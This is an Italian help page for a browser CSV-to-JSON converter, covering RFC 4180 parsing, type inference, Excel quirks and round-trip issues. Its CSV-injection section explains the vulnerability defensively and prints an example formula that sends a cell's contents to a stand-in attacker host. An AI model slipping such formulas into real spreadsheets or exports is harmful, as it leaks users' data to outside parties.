Convertitore da CSV a JSON

Incolla un CSV valido — un'esportazione di Excel, un download di Google Fogli, un dump di database o una risposta API — e il convertitore restituirà un array JSON pulito in tempo reale. La prima riga viene trattata come intestazione per impostazione predefinita, diventando le chiavi dell'oggetto JSON; le righe successive diventano oggetti in un array JSON.

L'inferenza dei tipi promuove:

• le stringhe numeriche evidenti a numeri (42 rimane un intero, 3.14 rimane un float)
• le stringhe booleane a booleani (true/false senza distinzione tra maiuscole e minuscole)
• le celle vuote a null

Disattiva questi comportamenti se il tuo sistema di destinazione è rigido riguardo ai tipi.

La conversione viene eseguita interamente nel tuo browser utilizzando un parser RFC 4180 personalizzato più il metodo nativo JSON.stringify (secondo ECMA-404). L'output è pronto per essere incollato in un file `.json`, inviato a un'API REST o utilizzato come set di dati JavaScript.

• Passaggio 1: Incolla il tuo CSV nell'editor. Il parser convalida mentre digiti: i CSV non validi (virgolette non chiuse, righe irregolari, delimitatore errato) mostrano l'errore esatto con riga e colonna.
• Passaggio 2: Configura il parser se necessario: scegli il delimitatore (l'impostazione predefinita è la virgola; passa al punto e virgola per le esportazioni di Excel in Europa o alla tabulazione per i file TSV), attiva o disattiva la modalità riga di intestazione e scegli l'inferenza dei tipi.
• Passaggio 3: L'output JSON viene visualizzato in tempo reale nel riquadro di destra. Fai clic su Copia (appunti) o Scarica (file `.json`).

Per flussi di lavoro programmatici, la stessa logica è esposta tramite l'endpoint `/api/calculate`: invia un CSV tramite POST e ricevi il JSON nel corpo della risposta. La sicurezza del round-trip è garantita per dati tabulari piatti; i dati annidati richiedono una strategia di appiattimento personalizzata.

CSV (Comma-Separated Values) è un formato tabulare piatto: ogni riga è una riga di dati, i campi sono separati da un delimitatore. Non ha tipi nativi (ogni cella è testo), nessun annidamento (un solo livello di profondità, come la tabella di un database) e metadati minimi (una riga di intestazione opzionale). È universalmente leggibile: ogni strumento per fogli di calcolo, ogni importazione di database e ogni strumento da riga di comando comprende i file CSV.

JSON (JavaScript Object Notation) è un formato gerarchico con tipi espliciti (stringa, numero, booleano, null), oggetti e array annidati e chiavi auto-descrittive per record. JSON è la lingua franca delle API REST/GraphQL, dei database NoSQL e dei file di configurazione.

Quando usare l'uno o l'altro:

• CSV per dati tabulari di grandi dimensioni, scambio di fogli di calcolo, inserimento ETL e flussi di lavoro degli analisti.
• JSON per API, configurazioni, record annidati e messaggistica da macchina a macchina.

Converti tra di essi al confine: acquisisci CSV → elabora come JSON → riesporta in CSV se un utente del foglio di calcolo ne ha bisogno.

RFC 4180 (2005) è lo standard informativo IETF per i file CSV.

Regole principali:

• I record sono separati da CRLF (Windows) o LF (Unix).
• I campi sono separati da un delimitatore (la virgola nello standard; comunemente variato nella pratica).
• I campi contenenti il delimitatore, una virgoletta doppia o un ritorno a capo devono essere racchiusi tra virgolette doppie.
• All'interno di un campo racchiuso tra virgolette, una virgoletta doppia letterale viene preceduta da un escape raddoppiandola (`""` rappresenta una singola `"`).
• Un riga di intestazione opzionale appare come primo record.

Il parser implementato qui tollera interruzioni di riga con solo LF, delimitatori punto e virgola/tabulazione/pipe (configurabili nelle impostazioni), BOM UTF-8 all'inizio del file (rimosso automaticamente) e un'interruzione di riga finale alla fine del file. Rifiuta i campi tra virgolette non chiusi e le righe irregolari con messaggi di errore chiari.

L'inferenza dei tipi promuove i valori evidenti non racchiusi tra virgolette ai tipi nativi di JSON.

• Numeri: i pattern di cifre che corrispondono alla sintassi per interi o float di JSON diventano numeri JSON. `42` → intero 42. `3.14` → float 3.14. `1e6` → 1000000. `01234` è ambiguo: i parser di numeri rigorosi rifiutano gli zeri iniziali, quindi rimane una stringa (che è ciò che desideri per i codici postali).
• Booleani: `true` e `false` (senza distinzione tra maiuscole e minuscole) diventano booleani JSON. Nota: questa è la convenzione di YAML 1.2 / JSON rigoroso: `yes`/`no`/`on`/`off` rimangono come stringhe (la risoluzione del 'problema della Norvegia').
• Null: le celle vuote (tra due delimitatori consecutivi o alla fine della riga) diventano null in JSON.

Se disattivi l'inferenza dei tipi, ogni cella rimane una stringa indipendentemente dal contenuto, il che è utile quando il tuo sistema di destinazione (ad esempio, una pipeline TypeScript rigorosa) si aspetta tipi uniformi.

Excel è il produttore dominante di file CSV e le sue esportazioni presentano alcune peculiarità.

• Codifica: Excel per Windows spesso salva i CSV come UTF-8 con BOM (il parser lo rimuove automaticamente) o Windows-1252 (Latin-1) per le versioni precedenti. Excel per Mac di solito salva in UTF-8 pulito. Se i caratteri non ASCII appaiono illeggibili, risalva il file come UTF-8 nella tua applicazione di fogli di calcolo prima di incollarlo.
• Delimitatori: nei paesi europei (Germania, Francia, ecc.), Excel usa i punti e virgola perché la virgola è il separatore decimale; modifica di conseguenza l'impostazione del delimitatore.
• Interruzioni di riga: Excel usa CRLF per impostazione predefinita, ed è completamente supportato.
• Virgolette: Excel racchiude tra virgolette qualsiasi cella contenente una virgola o una virgoletta doppia; le virgolette incorporate hanno l'escape tramite `""`.
• Formattazione dei numeri: Excel potrebbe esportare `1,234.56` (virgola come separatore delle migliaia), che il parser tratterà come una stringa a meno che tu non formatti nuovamente.
• Le colonne di date vengono esportate come stringa predefinita della lingua locale; di solito richiedono una post-elaborazione per essere convertite in ISO 8601.

JSON è il formato di richiesta/risposta dominante per API REST, endpoint GraphQL e la maggior parte dei moderni servizi web.

La conversione da CSV a JSON è un passaggio frequente quando:

• importi dati in blocco tramite un'API che accetta array JSON (ad esempio, registrazione di utenti, popolamento di cataloghi prodotti, endpoint di aggiornamento in blocco);
• popoli database NoSQL (MongoDB, DynamoDB, Cassandra) che acquisiscono JSON in modo nativo tramite `mongoimport`, `aws dynamodb batch-write-item` o strumenti simili;
• alimenti pipeline ETL (Airflow, Prefect, dbt) che spostano esportazioni CSV attraverso trasformazioni basate su JSON;
• popoli dati fittizi per prototipi di componenti React/Vue/Angular.

Dopo la conversione, convalida l'output JSON rispetto allo schema di destinazione (JSON Schema, corpo della richiesta OpenAPI, tipo di input GraphQL) per intercettare le discrepanze di tipo prima del deployment.

JSON è il formato di dati nativo per i runtime JavaScript (browser, Node.js, Deno, Bun).

Converti CSV in JSON quando devi:

• incorporare un set di dati statico in un componente React/Vue (`import data from './data.json'`);
• popolare uno store Redux/Pinia/Zustand con lo stato iniziale;
• alimentare una libreria di grafici (Chart.js, D3, Plotly) che si aspetta JSON;
• prototipare uno script Node.js che elabora i record prima di scriverli su un database;
• creare un endpoint di simulazione Express/Fastify che restituisce dati di esempio.

L'output JSON di questo convertitore è pienamente conforme a ECMA-404: `JSON.parse()`, i corpi delle richieste POST con `fetch()` e l'inferenza dei tipi di TypeScript (`type Row = typeof data[0]`) funzionano tutti senza modifiche.

Per set di dati molto grandi (oltre 10.000 righe), valuta lo streaming con Papa Parse anziché la conversione in un'unica soluzione.

L'iniezione CSV (chiamata anche iniezione di formule) è una vulnerabilità delle applicazioni web in cui un file CSV contenente prefissi di formule (`=`, `+`, `-`, `@`) viene aperto in Excel o Google Fogli, e il foglio di calcolo esegue automaticamente la formula.

Gli aggressori possono usarla per:

• esfiltrare dati (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
• eseguire comandi arbitrari (sintassi di vecchie macro di Excel),
• o indurre gli utenti a visitare URL dannosi.

Questo convertitore è di sola lettura (CSV → JSON), quindi non introduce rischi di iniezione. Ma se la tua applicazione genera esportazioni CSV dall'input degli utenti, sanificala.

Mitigazione standard: fai precedere qualsiasi cella che inizia con `=`, `+`, `-`, `@`, `\t`, `\r` o `0x09` da un singolo apice (`'=cmd|...`) prima di scrivere su CSV. OWASP dispone di un cheat sheet completo sull'iniezione CSV che copre tutte le varianti.

Cinque errori rappresentano il 90% dei problemi di analisi dei file CSV.

• Campo tra virgolette non chiuso — un campo inizia con `"` ma non ha una virgoletta di chiusura corrispondente `"`. Il parser continua a leggere fino alla fine del file, quindi genera un errore. Soluzione: assicurati che ogni virgoletta di apertura abbia una corrispondente virgoletta di chiusura.
• Righe irregolari — alcune righe hanno meno o più campi rispetto all'intestazione. Cause: interruzioni di riga vaganti all'interno di testo non racchiuso tra virgolette, delimitatori mancanti o extra. Soluzione: verifica che il conteggio delle colonne sia coerente.
• Delimitatore errato — il tuo file usa punti e virgola ma il parser è impostato sulle virgole. Modifica l'impostazione del delimitatore.
• Stile di escape errato — l'uso di `\"` (stile JSON) anziché `""` (stile RFC 4180) all'interno di campi tra virgolette. Soluzione: riesporta dallo strumento di origine con la corretta quotatura RFC 4180.
• Incompatibilità di codifica — i caratteri non UTF-8 appaiono illeggibili. Salva nuovamente il file di origine come UTF-8 (la maggior parte delle applicazioni per fogli di calcolo offre questa opzione in Salva con nome).

Il messaggio di errore nel convertitore mostra la riga e la colonna esatte.

Cinque considerazioni sul round-trip che ogni sviluppatore dovrebbe conoscere.

• Dati piatti: un file CSV tabulare puramente piatto → JSON → CSV preserva i valori delle celle, i tipi (subito dopo la promozione dei tipi se analizzi nuovamente il JSON) e l'ordine delle colonne.
• JSON annidato: non può essere convertito tramite round-trip attraverso un CSV senza essere appiattito. Scegli una strategia: nomi di colonna con notazione a punti (`address.city`, `address.zip`), stringhe JSON all'interno delle celle o solo il primo livello.
• Promozione dei tipi: le stringhe numeriche e booleane vengono promosse durante il passaggio da CSV a JSON; se esporti nuovamente in CSV, vengono emesse nella loro forma nativa. I codici postali (`01234`) richiedono le virgolette nel CSV di origine per non perdere lo zero.
• Ordine delle intestazioni: il convertitore preserva l'ordine delle colonne di origine. L'ordine delle chiavi degli oggetti JSON è preservato dai moderni motori JavaScript.
• Celle vuote: diventano null in JSON; se esporti nuovamente, configura il tuo generatore CSV in modo da emettere stringhe vuote o valori letterali `null` come l'originale.

Testa con dati di prova non banali prima di affidarti al round-trip nelle pipeline di produzione.

Mappatura dei tipi in breve:

• Riga di intestazione CSV → chiavi dell'oggetto JSON;
• Riga CSV → oggetto JSON;
• Cella CSV (senza virgolette, numerica) → numero JSON;
• Cella CSV (senza virgolette, vero/falso) → booleano JSON;
• Cella CSV (vuota) → null JSON;
• Cella CSV (tra virgolette o non numerica) → stringa JSON.

Confronto tra strumenti: questo convertitore (browser, immediato, senza installazione, rigoroso secondo RFC 4180) vs Papa Parse (libreria JS, streaming, thread di lavoro) vs csvkit (CLI Python, file di grandi dimensioni, rilevamento dei dialetti) vs `jq -R -c -f csv2json.jq` (shell Unix, programmatico).

Migliori pratiche:

• Racchiudi sempre tra virgolette i campi ambigui (ID numerici, codici postali, stringhe con zeri iniziali) nel CSV di origine.
• Usa la codifica UTF-8 per la compatibilità: risalva i file Excel meno recenti come UTF-8.
• Convalida l'output JSON rispetto al tuo schema di destinazione (JSON Schema, OpenAPI, tipi TypeScript): intercetta gli errori di tipo al confine, non in produzione.
• Mantieni il CSV come unica fonte di verità per i dati tabulari e rigenera il JSON al momento della compilazione/importazione quando possibile.
• Per file superiori a 50 MB, passa a strumenti di streaming (worker di Papa Parse, pipeline csvkit) anziché alla conversione nel browser.